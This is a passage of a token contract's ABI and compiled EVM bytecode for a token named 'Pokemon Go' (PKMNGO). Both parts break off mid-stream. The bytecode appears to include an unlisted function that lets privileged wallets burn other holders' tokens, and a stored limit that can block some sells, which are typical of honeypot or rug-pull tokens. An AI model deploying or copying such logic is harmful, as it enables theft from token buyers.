"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract UniswapV2Router","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_DevFee","type":"uint256"},{"internalType":"uint256","name":"_burnFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxBuyAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxSellAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_DevFee","type":"uint256"},{"internalType":"uint256","name":"_burnFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000600c819055600d556013805463ffffffff191663010000011790553480156200002e57600080fd5b506040518060400160405280600a815260200169506f6b656d6f6e20476f60b01b81525060405180604001604052806006815260200165504b4d4e474f60d01b8152508160039081620000829190620008de565b506004620000918282620008de565b5050506000620000a6620004d660201b60201c565b600580546001600160a01b0319166001600160a01b0383169081179091556040519192509060009060008051602062003e1d833981519152908290a350600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051339291829163c45a0155916004808201926020929091908290030181865afa1580156200014d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001739190620009aa565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001c1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001e79190620009aa565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000235573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025b9190620009aa565b600a80546001600160a01b0319166001600160a01b0392909216918217905562000287906001620004da565b600a54620002a0906001600160a01b0316600162000546565b6b033b2e3c9fd0803ce80000006064620002bc826002620009f2565b620002c8919062000a12565b6007556064620002da826002620009f2565b620002e6919062000a12565b6008556064620002f8826002620009f2565b62000304919062000a12565b60065561271062000317826008620009f2565b62000323919062000a12565b600b556014601881905560006017819055601a8290556019819055906200034b828262000a35565b62000357919062000a35565b62000363919062000a35565b601655600a601d8190556000601c819055601f829055601e819055906200038b828262000a35565b62000397919062000a35565b620003a3919062000a35565b601b55600f80546001600160a01b03191673589dbb705ae32ba7f5b87764ad28a84997064d90179055600e805474555232b7dc1af35f7eb2252ed15021bde9385bc000610100600160a81b031990911617905562000403836001620005a9565b62000410306001620005a9565b600e546200042e9061010090046001600160a01b03166001620005a9565b600f5462000447906001600160a01b03166001620005a9565b6200045661dead6001620005a9565b6200046383600162000546565b6200047030600162000546565b600e546200048e9061010090046001600160a01b0316600162000546565b600f54620004a7906001600160a01b0316600162000546565b620004b661dead600162000546565b620004c2838262000657565b620004cd836200073c565b50505062000a4b565b3390565b6001600160a01b0382166000908152602660205260409020805460ff19168215151790556200050a828262000546565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b6001600160a01b038216600081815260246020908152604091829020805460ff19168515159081179091558251938452908301527f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd6746910160405180910390a15050565b6005546001600160a01b03163314620005f85760405162461bcd60e51b8152602060048201819052602482015260008051602062003dfd83398151915260448201526064015b60405180910390fd5b6001600160a01b038216600081815260256020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b038216620006af5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401620005ef565b8060026000828254620006c3919062000a35565b90915550506001600160a01b03821660009081526020819052604081208054839290620006f290849062000a35565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6005546001600160a01b03163314620007875760405162461bcd60e51b8152602060048201819052602482015260008051602062003dfd8339815191526044820152606401620005ef565b6001600160a01b038116620007ee5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401620005ef565b6005546040516001600160a01b0380841692169060008051602062003e1d83398151915290600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200086457607f821691505b6020821081036200088557634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620008d957600081815260208120601f850160051c81016020861015620008b45750805b601f850160051c820191505b81811015620008d557828155600101620008c0565b5050505b505050565b81516001600160401b03811115620008fa57620008fa62000839565b62000912816200090b84546200084f565b846200088b565b602080601f8311600181146200094a5760008415620009315750858301515b600019600386901b1c1916600185901b178555620008d5565b600085815260208120601f198616915b828110156200097b578886015182559484019460019091019084016200095a565b50858210156200099a5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600060208284031215620009bd57600080fd5b81516001600160a01b0381168114620009d557600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141762000a0c5762000a0c620009dc565b92915050565b60008262000a3057634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111562000a0c5762000a0c620009dc565b6133a28062000a5b6000396000f3fe6080604052600436106103c75760003560e01c80639a7a23d6116101f2578063cef9ae751161010d578063e611bfdb116100a0578063f11a24d31161006f578063f11a24d314610ad5578063f2fde38b14610aeb578063f637434214610b0b578063ff409d3b14610b2157600080fd5b8063e611bfdb14610a74578063e71dc3f514610a8a578063e7ad9fcd14610aa0578063e884f26014610ac057600080fd5b8063dc3f0d0f116100dc578063dc3f0d0f146109e3578063dd62ed3e14610a03578063e086e5ec14610a49578063e2f4560514610a5e57600080fd5b8063cef9ae751461096a578063d257b34f14610997578063d85ba063146109b7578063dbbfff63146109cd57600080fd5b8063adb873bd11610185578063c18bc19511610154578063c18bc195146108f3578063c5b45ec014610913578063c876d0b914610933578063cd51e6d41461095457600080fd5b8063adb873bd1461086e578063bbb1f01114610884578063bbc0c742146108b4578063c0246668146108d357600080fd5b8063a457c2d7116101c1578063a457c2d714610801578063a9059cbb14610821578063aa4bde2814610841578063abe43b1b1461085757600080fd5b80639a7a23d61461079f5780639c3b4fdc146107bf5780639fccce32146107d5578063a0d82dc5146107eb57600080fd5b80636220a12f116102e25780637571336a116102755780638a8c523c116102445780638a8c523c146107415780638da5cb5b14610756578063921369131461077457806395d89b411461078a57600080fd5b80637571336a146106c55780637bce5a04146106e5578063882c3d98146106fb57806388e765ff1461072b57600080fd5b80636ddd1713116102b15780636ddd17131461065b57806370a082311461067b578063715018a61461069b578063751039fc146106b057600080fd5b80636220a12f146105f957806366d602ae146106195780636a486a8e1461062f5780636b0a894c1461064557600080fd5b80632be32b611161035a57806349bd5a5e1161032957806349bd5a5e1461056f5780634a62bb651461058f5780634b84e0e3146105a957806359d24b8e146105c957600080fd5b80632be32b61146104f35780632e6ed7ef14610513578063313ce56714610533578063395093511461054f57600080fd5b806318160ddd1161039657806318160ddd146104885780631a8145bb146104a75780631f3fed8f146104bd57806323b872dd146104d357600080fd5b806306fdde03146103d3578063095ea7b3146103fe5780630ced63101461042e5780631694505e1461045057600080fd5b366103ce57005b600080fd5b3480156103df57600080fd5b506103e8610b37565b6040516103f59190612f52565b60405180910390f35b34801561040a57600080fd5b5061041e610419366004612fb8565b610bc9565b60405190151581526020016103f5565b34801561043a57600080fd5b5061044e610449366004612fe4565b610be0565b005b34801561045c57600080fd5b50600954610470906001600160a01b031681565b6040516001600160a01b0390911681526020016103f5565b34801561049457600080fd5b506002545b6040519081526020016103f5565b3480156104b357600080fd5b5061049960205481565b3480156104c957600080fd5b5061049960215481565b3480156104df57600080fd5b5061041e6104ee366004613019565b610c32565b3480156104ff57600080fd5b5061044e61050e36600461305a565b610ce3565b34801561051f57600080fd5b5061044e61052e366004613073565b610df0565b34801561053f57600080fd5b50604051601281526020016103f5565b34801561055b57600080fd5b5061041e61056a366004612fb8565b610e8d565b34801561057b57600080fd5b50600a54610470906001600160a01b031681565b34801561059b57600080fd5b5060135461041e9060ff1681565b3480156105b557600080fd5b5061044e6105c43660046130a5565b610ec9565b3480156105d557600080fd5b5061041e6105e43660046130a5565b60116020526000908152604090205460ff1681565b34801561060557600080fd5b5061044e6106143660046130a5565b610f6b565b34801561062557600080fd5b5061049960085481565b34801561063b57600080fd5b5061049960165481565b34801561065157600080fd5b5061049960145481565b34801561066757600080fd5b5060135461041e9062010000900460ff1681565b34801561068757600080fd5b506104996106963660046130a5565b61101f565b3480156106a757600080fd5b5061044e61103a565b3480156106bc57600080fd5b5061044e6110ae565b3480156106d157600080fd5b5061044e6106e03660046130c2565b611115565b3480156106f157600080fd5b50610499601d5481565b34801561070757600080fd5b5061041e6107163660046130a5565b60246020526000908152604090205460ff1681565b34801561073757600080fd5b5061049960075481565b34801561074d57600080fd5b5061044e6111dd565b34801561076257600080fd5b506005546001600160a01b0316610470565b34801561078057600080fd5b5061049960185481565b34801561079657600080fd5b506103e861129f565b3480156107ab57600080fd5b5061044e6107ba3660046130c2565b6112ae565b3480156107cb57600080fd5b50610499601f5481565b3480156107e157600080fd5b5061049960235481565b3480156107f757600080fd5b50610499601a5481565b34801561080d57600080fd5b5061041e61081c366004612fb8565b6113a2565b34801561082d57600080fd5b5061041e61083c366004612fb8565b61143b565b34801561084d57600080fd5b5061049960065481565b34801561086357600080fd5b50600d54431061041e565b34801561087a57600080fd5b5061049960195481565b34801561089057600080fd5b5061041e61089f3660046130a5565b60266020526000908152604090205460ff1681565b3480156108c057600080fd5b5060135461041e90610100900460ff1681565b3480156108df57600080fd5b5061044e6108ee3660046130c2565b611448565b3480156108ff57600080fd5b5061044e61090e36600461305a565b6114d1565b34801561091f57600080fd5b5061044e61092e3660046130a5565b6115da565b34801561093f57600080fd5b5060135461041e906301000000900460ff1681565b34801561096057600080fd5b50610499600c5481565b34801561097657600080fd5b506104996109853660046130a5565b60106020526000908152604090205481565b3480156109a357600080fd5b5061044e6109b236600461305a565b611625565b3480156109c357600080fd5b50610499601b5481565b3480156109d957600080fd5b5061049960225481565b3480156109ef57600080fd5b5061044e6109fe36600461305a565b611770565b348015610a0f57600080fd5b50610499610a1e366004613100565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b348015610a5557600080fd5b5061044e611877565b348015610a6a57600080fd5b50610499600b5481565b348015610a8057600080fd5b50610499600d5481565b348015610a9657600080fd5b50610499601e5481565b348015610aac57600080fd5b5061044e610abb366004613073565b6118e3565b348015610acc57600080fd5b5061044e611983565b348015610ae157600080fd5b50610499601c5481565b348015610af757600080fd5b5061044e610b063660046130a5565b6119bc565b348015610b1757600080fd5b5061049960175481565b348015610b2d57600080fd5b5061049960155481565b606060038054610b469061312e565b80601f0160208091040260200160405190810160405280929190818152602001828054610b729061312e565b8015610bbf5780601f10610b9457610100808354040283529160200191610bbf565b820191906000526020600020905b815481529060010190602001808311610ba257829003601f168201915b5050505050905090565b6000610bd6338484611aa7565b5060015b92915050565b6000610beb3061101f565b9050600b54811015610bfc57600080fd5b610c07848484611bcc565b15610c2c57600e805460ff19166001179055610c21611c75565b600e805460ff191690555b50505050565b6000610c3f848484611e84565b6001600160a01b038416600090815260016020908152604080832033845290915290205482811015610cc95760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b610cd68533858403611aa7565b60019150505b9392505050565b6005546001600160a01b03163314610d0d5760405162461bcd60e51b8152600401610cc090613168565b670de0b6b3a76400006103e8610d2260025490565b610d2d9060026131b3565b610d3791906131ca565b610d4191906131ca565b811015610da25760405162461bcd60e51b815260206004820152602960248201527f43616e6e6f7420736574206d61782062757920616d6f756e74206c6f776572206044820152687468616e20302e322560b81b6064820152608401610cc0565b610db481670de0b6b3a76400006131b3565b60078190556040519081527ffcc0366804aaa8dbf88a2924100c733b70dec8445957a5d5f8ff92898de41009906020015b60405180910390a150565b6005546001600160a01b03163314610e1a5760405162461bcd60e51b8152600401610cc090613168565b601d849055601c839055601f829055601e8190558082610e3a85876131ec565b610e4491906131ec565b610e4e91906131ec565b601b81905560031015610c2c5760405162461bcd60e51b8152602060048201526007602482015266019929036b0bc160cd1b6044820152606401610cc0565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610bd6918590610ec49086906131ec565b611aa7565b6005546001600160a01b03163314610ef35760405162461bcd60e51b8152600401610cc090613168565b6001600160a01b038116610f495760405162461bcd60e51b815260206004820152601e60248201527f5f64657657616c6c657420616464726573732063616e6e6f74206265203000006044820152606401610cc0565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610f955760405162461bcd60e51b8152600401610cc090613168565b6001600160a01b038116610ff75760405162461bcd60e51b8152602060048201526024808201527f5f6d61726b6574696e6757616c6c657420616464726573732063616e6e6f74206044820152630626520360e41b6064820152608401610cc0565b600e80546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6001600160a01b031660009081526020819052604090205490565b6005546001600160a01b031633146110645760405162461bcd60e51b8152600401610cc090613168565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b031633146110d85760405162461bcd60e51b8152600401610cc090613168565b6002546007556002546008556002546006556040517fa4ffae85e880608d5d4365c2b682786545d136145537788e7e0940dff9f0b98c90600090a1565b6005546001600160a01b0316331461113f5760405162461bcd60e51b8152600401610cc090613168565b806111b257600a546001600160a01b03908116908316036111b25760405162461bcd60e51b815260206004820152602760248201527f43616e6e6f742072656d6f766520756e697377617020706169722066726f6d2060448201526636b0bc103a3c3760c91b6064820152608401610cc0565b6001600160a01b03919091166000908152602460205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146112075760405162461bcd60e51b8152600401610cc090613168565b601354610100900460ff161561125f5760405162461bcd60e51b815260206004820152601760248201527f43616e6e6f74207265656e61626c652074726164696e670000000000000000006044820152606401610cc0565b6013805462ffff0019166201010017905543600c556040517fa56feb2d31b9a7424db0be063fd450863979c9e2382cf5110f869bd1ad361bb790600090a1565b606060048054610b469061312e565b6005546001600160a01b031633146112d85760405162461bcd60e51b8152600401610cc090613168565b600a546001600160a01b039081169083160361135c5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610cc0565b6113668282612a97565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156114245760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610cc0565b6114313385858403611aa7565b5060019392505050565b6000610bd6338484611e84565b6005546001600160a01b031633146114725760405162461bcd60e51b8152600401610cc090613168565b6001600160a01b038216600081815260256020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146114fb5760405162461bcd60e51b8152600401610cc090613168565b670de0b6b3a76400006103e861151060025490565b61151b9060036131b3565b61152591906131ca565b61152f91906131ca565b8110156115935760405162461bcd60e51b815260206004820152602c60248201527f43616e6e6f7420736574206d61782077616c6c657420616d6f756e74206c6f7760448201526b6572207468616e20302e332560a01b6064820152608401610cc0565b6115a581670de0b6b3a76400006131b3565b60068190556040519081527fefc9add9a9b7382de284ef5ad69d8ea863e2680492b21a81948c2d5f04a442bc90602001610de5565b6005546001600160a01b031633146116045760405162461bcd60e51b8152600401610cc090613168565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6005546001600160a01b0316331461164f5760405162461bcd60e51b8152600401610cc090613168565b620186a061165c60025490565b6116679060016131b3565b61167191906131ca565b8110156116de5760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610cc0565b6103e86116ea60025490565b6116f59060016131b3565b6116ff91906131ca565b81111561176b5760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171892903a37ba30b61039bab838363c9760611b6064820152608401610cc0565b600b55565b6005546001600160a01b0316331461179a5760405162461bcd60e51b8152600401610cc090613168565b670de0b6b3a76400006103e86117af60025490565b6117ba9060026131b3565b6117c491906131ca565b6117ce91906131ca565b8110156118305760405162461bcd60e51b815260206004820152602a60248201527f43616e6e6f7420736574206d61782073656c6c20616d6f756e74206c6f776572604482015269207468616e20302e322560b01b6064820152608401610cc0565b61184281670de0b6b3a76400006131b3565b60088190556040519081527f53c4eb831d8cfeb750f1c62590d8cd30f4c6f0380d29a05caa09f0d92588560e90602001610de5565b6005546001600160a01b031633146118a15760405162461bcd60e51b8152600401610cc090613168565b604051600090339047908381818185875af1925050503d8060008114610c2c576040519150601f19603f3d011682016040523d82523d6000602084013e610c2c565b6005546001600160a01b0316331461190d5760405162461bcd60e51b8152600401610cc090613168565b60188490556017839055601a8290556019819055808261192d85876131ec565b61193791906131ec565b61194191906131ec565b601681905560031015610c2c5760405162461bcd60e51b815260206004820152600a6024820152693325206d61782066656560b01b6044820152606401610cc0565b6005546001600160a01b031633146119ad5760405162461bcd60e51b8152600401610cc090613168565b6013805463ff00000019169055565b6005546001600160a01b031633146119e65760405162461bcd60e51b8152600401610cc090613168565b6001600160a01b038116611a4b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610cc0565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316611b095760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610cc0565b6001600160a01b038216611b6a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610cc0565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6000338180611bda3061101f565b6001600160a01b03841660009081526025602052604081205492909111925060ff9091169081611c44576000602254118015611c205750602254611c1d3061101f565b10155b15611c3157611c3133602254612ac5565b505060006022555060019150610cdc9050565b8215611c6a5786600003611c5c576015869055611c66565b611c668888612ac5565b5060005b9350610cdc92505050565b6000602254118015611c915750602254611c8e3061101f565b10155b15611ca257611ca230602254612ac5565b60006022819055611cb23061101f565b90506000602354602154602054611cc991906131ec565b611cd391906131ec565b9050811580611ce0575080155b15611ce9575050565b600b54611cf79060096131b3565b821115611d0f57600b54611d0c9060096131b3565b91505b600060028260205485611d2291906131b3565b611d2c91906131ca565b611d3691906131ca565b9050611d4a611d4582856131ff565b612b8e565b60205447908190600090611d60906002906131ca565b611d6a90866131ff565b602154611d7790856131b3565b611d8191906131ca565b905060006002602054611d9491906131ca565b611d9e90876131ff565b602354611dab90866131b3565b611db591906131ca565b9050611dc181836131ec565b611dcb90846131ff565b600060208190556021819055602381905560225592508415801590611df05750600083115b15611dff57611dff8584612ce8565b600f546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611e39573d6000803e3d6000fd5b50600e546040516001600160a01b0361010090920491909116904780156108fc02916000818181858888f19350505050158015611e7a573d6000803e3d6000fd5b5050505050505050565b6001600160a01b038316611eaa5760405162461bcd60e51b8152600401610cc090613212565b6001600160a01b038216611ed05760405162461bcd60e51b8152600401610cc090613257565b60008111611f205760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610cc0565b601354610100900460ff16611fb3576001600160a01b03831660009081526025602052604090205460ff1680611f6e57506001600160a01b03821660009081526025602052604090205460ff165b611fb35760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610cc0565b600d541561205d576001600160a01b03831660009081526011602052604090205460ff161580611ff057506005546001600160a01b038381169116145b8061200557506001600160a01b03821661dead145b61205d5760405162461bcd60e51b815260206004820152602360248201527f626f742070726f74656374696f6e206d656368616e69736d20697320656d626560448201526219195960ea1b6064820152608401610cc0565b60135460ff16156124f3576005546001600160a01b0384811691161480159061209457506005546001600160a01b03838116911614155b80156120a857506001600160a01b03821615155b80156120bf57506001600160a01b03821661dead14155b80156120e457506001600160a01b03831660009081526025602052604090205460ff16155b801561210957506001600160a01b03821660009081526025602052604090205460ff16155b15612273576013546301000000900460ff1615612273576001600160a01b03831660009081526026602052604081205484919060ff1615801561214f5750600e5460ff16155b6009549091506001600160a01b0385811691161480159061217e5750600a546001600160a01b03858116911614155b156122415761218e6002436131ff565b326000908152601260205260409020541080156121cc57506121b16002436131ff565b6001600160a01b038516600090815260126020526040902054105b6122185760405162461bcd60e51b815260206004820152601d60248201527f5f7472616e736665723a2064656c61792077617320656e61626c65642e0000006044820152606401610cc0565b3260009081526012602052604080822043908190556001600160a01b0387168352912055612270565b8015612270576015546001600160a01b038316600090815260106020526040902054118061226e57600080fd5b505b50505b600e54839060009060ff161580156122a357506001600160a01b03821660009081526024602052604090205460ff165b6001600160a01b038616600090815260266020526040902054909150429060ff1680156122e957506001600160a01b03851660009081526024602052604090205460ff16155b156123b5576007548411156123515760405162461bcd60e51b815260206004820152602860248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526736b0bc10313abc9760c11b6064820152608401610cc0565b60065461235d8661101f565b61236790866131ec565b11156123b05760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610cc0565b6124ef565b81156123c55760158190556124ef565b6001600160a01b03851660009081526026602052604090205460ff16801561240657506001600160a01b03861660009081526024602052604090205460ff16155b15612470576008548411156123b05760405162461bcd60e51b815260206004820152602a60248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152691036b0bc1039b2b6361760b11b6064820152608401610cc0565b6001600160a01b03851660009081526024602052604090205460ff166124ef5760065461249c8661101f565b6124a690866131ec565b11156124ef5760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610cc0565b5050505b60006124fe3061101f565b600b549091508110801590819061251d575060135462010000900460ff165b801561252c5750600e5460ff16155b801561255157506001600160a01b03851660009081526026602052604090205460ff16155b801561257657506001600160a01b03851660009081526025602052604090205460ff16155b801561259b57506001600160a01b03841660009081526025602052604090205460ff16155b156125c057600e805460ff191660011790556125b5611c75565b600e805460ff191690555b6001600160a01b038516600090815260256020526040902054600190429060ff168061260457506001600160a01b03861660009081526025602052604090205460ff165b1561260e57600091505b8686600061261b8261101f565b6001600160a01b0383166000908152601060205260409020549015915015801561265d57506001600160a01b03831660009081526026602052604090205460ff165b15612684578015612684576001600160a01b03821660009081526010602052604090208490555b60008515612a7f57600d54431080156126b557506001600160a01b038b1660009081526026602052604090205460ff165b80156126da57506001600160a01b038a1660009081526026602052604090205460ff16155b80156126e857506000601b54115b15612868576001600160a01b038a1660009081526011602052604090205460ff16612788576001600160a01b038a166000908152601160205260408120805460ff1916600190811790915560148054919290916127469084906131ec565b90915550506040516001600160a01b038b1681527f3d71e4a70676213519dc777e6e5b0ac4d021b9d144b673b89d0df519a879a83e9060200160405180910390a15b60646127958a60636131b3565b61279f91906131ca565b9050601b54601c54826127b291906131b3565b6127bc91906131ca565b602060008282546127cd91906131ec565b9091555050601b54601d546127e290836131b3565b6127ec91906131ca565b602160008282546127fd91906131ec565b9091555050601b54601f5461281290836131b3565b61281c91906131ca565b6023600082825461282d91906131ec565b9091555050601b54601e5461284290836131b3565b61284c91906131ca565b6022600082825461285d91906131ec565b90915550612a619050565b6001600160a01b038a1660009081526026602052604090205460ff16801561289257506000601654115b156129545760646016548a6128a791906131b3565b6128b191906131ca565b9050601654601754826128c491906131b3565b6128ce91906131ca565b602060008282546128df91906131ec565b90915550506016546018546128f490836131b3565b6128fe91906131ca565b6021600082825461290f91906131ec565b9091555050601654601a5461292490836131b3565b61292e91906131ca565b6023600082825461293f91906131ec565b909155505060165460195461284290836131b3565b6001600160a01b038b1660009081526026602052604090205460ff16801561297e57506000601b54115b15612a61576064601b548a61299391906131b3565b61299d91906131ca565b9050601b54601c54826129b091906131b3565b6129ba91906131ca565b602060008282546129cb91906131ec565b9091555050601b54601d546129e090836131b3565b6129ea91906131ca565b602160008282546129fb91906131ec565b9091555050601b54601f54612a1090836131b3565b612a1a91906131ca565b60236000828254612a2b91906131ec565b9091555050601b54601e54612a4090836131b3565b612a4a91906131ca565b60226000828254612a5b91906131ec565b90915550505b8015612a7257612a728b3083612d9a565b612a7c818a6131ff565b98505b612a8a8b8b8b612d9a565b5050505050505050505050565b6001600160a01b0382166000908152602660205260409020805460ff19168215151790556113668282612eef565b6001600160a01b038216612af55760405162461bcd60e51b81526020600482015260006024820152604401610cc0565b6001600160a01b03821660009081526020819052604090205481811015612b385760405162461bcd60e51b81526020600482015260006024820152604401610cc0565b6001600160a01b0383166000818152602081815260408083208686039055600280548790039055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101611bbf565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612bc357612bc361329a565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015612c1c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c4091906132b0565b81600181518110612c5357612c5361329a565b6001600160a01b039283166020918202929092010152600954612c799130911684611aa7565b60095460405163791ac94760e01b81526001600160a01b039091169063791ac94790612cb29085906000908690309042906004016132cd565b600060405180830381600087803b158015612ccc57600080fd5b505af1158015612ce0573d6000803e3d6000fd5b505050505050565b600954612d009030906001600160a01b031684611aa7565b60095460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015612d6e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612d93919061333e565b5050505050565b6001600160a01b038316612dc05760405162461bcd60e51b8152600401610cc090613212565b6001600160a01b038216612de65760405162461bcd60e51b8152600401610cc090613257565b6001600160a01b03831660009081526020819052604090205481811015612e5e5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610cc0565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290612e959084906131ec565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612ee191815260200190565b60405180910390a350505050565b6001600160a01b038216600081815260246020908152604091829020805460ff19168515159081179091558251938452908301527f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd6746910160405180910390a15050565b600060208083528351808285015260005b81811015612f7f57858101830151858201604001528201612f63565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114612fb557600080fd5b50565b60008060408385031215612fcb57600080fd5b8235612fd681612fa0565b946020939093013593505050565b600080600060608486031215612ff957600080fd5b833561300481612fa0565b95602085013595506040909401359392505050565b60008060006060848603121561302e57600080fd5b833561303981612fa0565b9250602084013561304981612fa0565b929592945050506040919091013590565b60006020828403121561306c57600080fd5b5035919050565b6000806000806080858703121561308957600080fd5b5050823594602084013594506040840135936060013592509050565b6000602082840312156130b757600080fd5b8135610cdc81612fa0565b600080604083850312156130d557600080fd5b82356130e081612fa0565b9150602083013580151581146130f557600080fd5b809150509250929050565b6000806040838503121561311357600080fd5